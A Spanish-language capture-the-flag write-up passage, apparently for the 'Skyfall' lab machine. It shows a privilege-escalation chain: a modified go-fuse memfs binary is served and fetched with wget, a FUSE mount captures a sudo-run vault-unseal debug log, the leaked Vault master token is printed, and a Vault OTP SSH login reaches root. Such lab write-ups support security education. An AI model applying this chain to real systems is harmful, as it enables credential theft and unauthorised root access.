Para esto revisamos, por ejemplo, el archivo /etc/fuse.conf en la máquina víctima:

askyy@skyfall:~$ cat /etc/fuse.conf

# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.

user_allow_other


# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).

#mount_max = 1000

donde la opción/línea user_allow_other no está comentada (lo que significa que está habilitada), permitiendo a otros usuarios escribir a nuestro sistema de archivos.

Ahora, podríamos ver muchas maneras de cómo usar FUSE, pero la manera más “a la segura” es usar binarios estáticos. Por ejemplo, si usamos binarios estáticos compilados en lenguajes de programación C o Go, si corre en nuestro sistema y no tiene dependencia de librerías, debería de correr tanto en nuestra máquina de atacante como en otras máquinas corriendo Linux como la máquina víctima. Es así como encontramos go-fuse (el cual puede ser descargado desde su repositorio Github). Más específicamente, si vamos a la carpeta example folder y luego a memfs, éste nos permitirá crear archivos en memoria en el sistema.

Para esto descargamos/clonamos el repositorio, vamos a su directorio example/memfs y compilamos/construímos el binario:

❯ git clone https://github.com/hanwen/go-fuse.git

Cloning into 'go-fuse'...
remote: Enumerating objects: 13206, done.
remote: Counting objects: 100% (3712/3712), done.
remote: Compressing objects: 100% (764/764), done.
remote: Total 13206 (delta 3186), reused 3000 (delta 2946), pack-reused 9494 (from 1)
Receiving objects: 100% (13206/13206), 3.92 MiB | 7.17 MiB/s, done.
Resolving deltas: 100% (8759/8759), done.
❯ cd go-fuse/example/memfs
❯ ls -la

total 12
drwxrwxr-x  2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x  957 Aug 31 20:01 main.go
❯ go build

go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
❯ ls -la

total 3216
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x    4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x     957 Aug 31 20:01 main.go
-rwxrwxr-x  1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs

Empezamos un servidor temporal Python HTTP en el puerto 8080 donde está ubicado el binario compilado:

❯ ls -la && python3 -m http.server 8080

total 3216
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x    4096 Aug 31 20:01 ..
-rw-rw-r--  1 gunzf0x gunzf0x     957 Aug 31 20:01 main.go
-rwxrwxr-x  1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

y lo descargamos en la máquina víctima usando wget:

askyy@skyfall:~$ wget http://10.10.16.3:8080/memfs -O /dev/shm/memfs

Connecting to 10.10.16.3:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3280265 (3.1M) [application/octet-stream]
Saving to: ‘/dev/shm/memfs’

/dev/shm/memfs                             100%[=======================================================================================>]   3.13M   722KB/s    in 7.6s

askyy@skyfall:~$ chmod +x /dev/shm/memfs

Vamos al directorio donde está el binario, creamos un directorio (llamado output) donde realizaremos la montura y lo corremos. En mi caso todo será guardado en un archivo llamado test:

askyy@skyfall:~$ cd /dev/shm

askyy@skyfall:/dev/shm$ ./memfs

usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ mkdir output

askyy@skyfall:/dev/shm$ ./memfs output test

Mounted!

Ahora, logueamos en otra sesión de SSH con el truco que habíamos mostrado previamente, entramos al directorio donde está ubicado output y corremos el comando con sudo:

askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

2024/09/01 01:04:22 open debug.log: permission denied

Tenemos un error de permisos. Esto es gracias a que nuestra aplicación (el binario compilado memfs) no está dejando a otros usuarios escribir en nuestra montura.

De manera que debemos de modificar el código fuente de memfs para permitirlo. Antes de ello, recordar que debemos “desmontar” (unmount) corriendo fusermount (además, recordar irnos/salir del directorio output en todas las sesiones que estén ubicadas dentro del directorio output, de otra manera esto nos entregará un error fusermount: failed to unmount /dev/shm/output: Device or resource busy):

askyy@skyfall:/dev/shm$ fusermount -u output

Si leemos el código fuente de main.go de example/memfs del repositorio go-fuse tenemos:

// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Mounts MemNodeFs for testing purposes.

package main

import (
	"flag"
	"fmt"
	"os"

	"github.com/hanwen/go-fuse/v2/fuse"
	"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)

func main() {
	// Scans the arg list and sets up flags
	debug := flag.Bool("debug", false, "print debugging messages.")
	flag.Parse()
	if flag.NArg() < 2 {
		// TODO - where to get program name?
		fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
		os.Exit(2)
	}

	mountPoint := flag.Arg(0)
	prefix := flag.Arg(1)
	root := nodefs.NewMemNodeFSRoot(prefix)
	conn := nodefs.NewFileSystemConnector(root, nil)
	server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
		Debug: *debug,
	})
	if err != nil {
		fmt.Printf("Mount fail: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("Mounted!")
	server.Serve()
}

En las opciones de variable puedo ver fuse.MountOptions. Si chequeamos el código de la librería fuse que está siendo llamado (fuse/api.go) tenemos:

<SNIP>
type MountOptions struct {
	AllowOther bool

	// Options are passed as -o string to fusermount.
	Options []string

	// Default is _DEFAULT_BACKGROUND_TASKS, 12.  This numbers
	// controls the allowed number of requests that relate to
	// async I/O.  Concurrency for synchronous I/O is not limited.
	MaxBackground int
<SNIP>

donde puedo ver la variable AllowOther, la cual es una variable de tipo booleano. De manera que agregamos esta variable en el código para que sea true. Por tanto, el código fuente de main.go ahora es:

// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Mounts MemNodeFs for testing purposes.

package main

import (
	"flag"
	"fmt"
	"os"

	"github.com/hanwen/go-fuse/v2/fuse"
	"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)

func main() {
	// Scans the arg list and sets up flags
	debug := flag.Bool("debug", false, "print debugging messages.")
	flag.Parse()
	if flag.NArg() < 2 {
		// TODO - where to get program name?
		fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
		os.Exit(2)
	}

	mountPoint := flag.Arg(0)
	prefix := flag.Arg(1)
	root := nodefs.NewMemNodeFSRoot(prefix)
	conn := nodefs.NewFileSystemConnector(root, nil)
	server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
		Debug: *debug,
		AllowOther: true, // LINEA MODIFICADA
	})
	if err != nil {
		fmt.Printf("Mount fail: %v\n", err)
		os.Exit(1)
	}
	fmt.Println("Mounted!")
	server.Serve()
}

y lo construímos/compilamos:

❯ go build -o memfs_modified

Repetimos los pasos para transferir el archivo, le asignamos permisos de ejecución y volvemos a correr el binario modificado en la máquina víctima:

askyy@skyfall:/dev/shm$ ./memfs_modified

usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs_modified output/ test

Mounted!

y en la otra terminal/sesión entramos al directorio output y corremos el comando con sudo:

askyy@skyfall:/dev/shm$ cd output

askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false

Ahora tenemos nuevos archivos:

askyy@skyfall:/dev/shm$ ls

memfs  memfs_modified  output  test1

Podemos leer el contenido de test1, el cual debería de contener el mismo contenido del archivo debug.log:

askyy@skyfall:/dev/shm$ cat test1

2024/09/01 01:23:21 Initializing logger...
2024/09/01 01:23:21 Reading: /etc/vault-unseal.yaml
2024/09/01 01:23:21 Security Risk!
2024/09/01 01:23:21 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/09/01 01:23:21 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Check interval: 5s
2024/09/01 01:23:21 Max checks: 5
2024/09/01 01:23:21 Establishing connection to Vault...
2024/09/01 01:23:21 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Checking seal status
2024/09/01 01:23:21 Vault sealed: false

Donde puedo un nuevo VAULT_TOKEN con valor hvs.I0ewVsmaKU1SwVZAKR3T0mmG.

Recuerdo que teníamos una llave admin_otp_key_role la primera vez que nos tratamos de loguear por SSH y se nos denegó el acceso. ¿Qué tal si actualizamos los parámetros y tratamos de loguearnos con este nuevo token? Dado que es un token con nombre “admin”, podríamos tratar de utilizarlo para loguearnos como root:

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"

❯ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"

❯ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

Y, finalmente, tratamos de conectarnos via SSH como el usuario root:

❯ ./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254

Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# whoami

root

¡Funcionó! Podemos leer la flag del usuario root en el directorio /root. GG.

~Happy Hacking